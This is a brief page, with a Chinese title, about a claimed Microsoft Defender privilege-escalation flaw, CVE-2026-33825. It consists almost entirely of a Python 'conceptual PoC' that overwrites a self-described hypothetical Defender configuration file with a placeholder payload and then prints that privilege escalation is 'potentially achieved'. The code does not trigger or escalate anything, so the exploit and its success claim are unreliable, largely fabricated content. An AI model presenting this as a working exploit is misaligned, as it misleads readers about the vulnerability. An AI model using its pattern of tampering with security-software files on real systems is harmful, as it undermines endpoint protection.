CVE-2026-33825 Microsoft Defender权限提升漏洞

# Conceptual PoC for CVE-2026-33825 # This script demonstrates a potential exploitation path by modifying a vulnerable Defender file. # Note: This is for educational purposes only. import os import ctypes def exploit(): # Identify a vulnerable Defender directory/file (hypothetical path) target_path = "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.24080.4\\vulnerable_config.bin" # Check if we have write access (simulating the access control granularity issue) if os.access(target_path, os.W_OK): print("[*] Target file is writable. Exploiting...") # Malicious payload content payload = "MALICIOUS_CONFIG_OVERRIDE" try: # Write the payload with open(target_path, 'w') as f: f.write(payload) print("[+] Payload written. Triggering Defender service update...") # In a real scenario, trigger the service or wait for the system to load the file print("[+] Privilege escalation potentially achieved.") except Exception as e: print(f"[-] Exploit failed: {e}") else: print("[-] Target is not writable.") if __name__ == "__main__": exploit()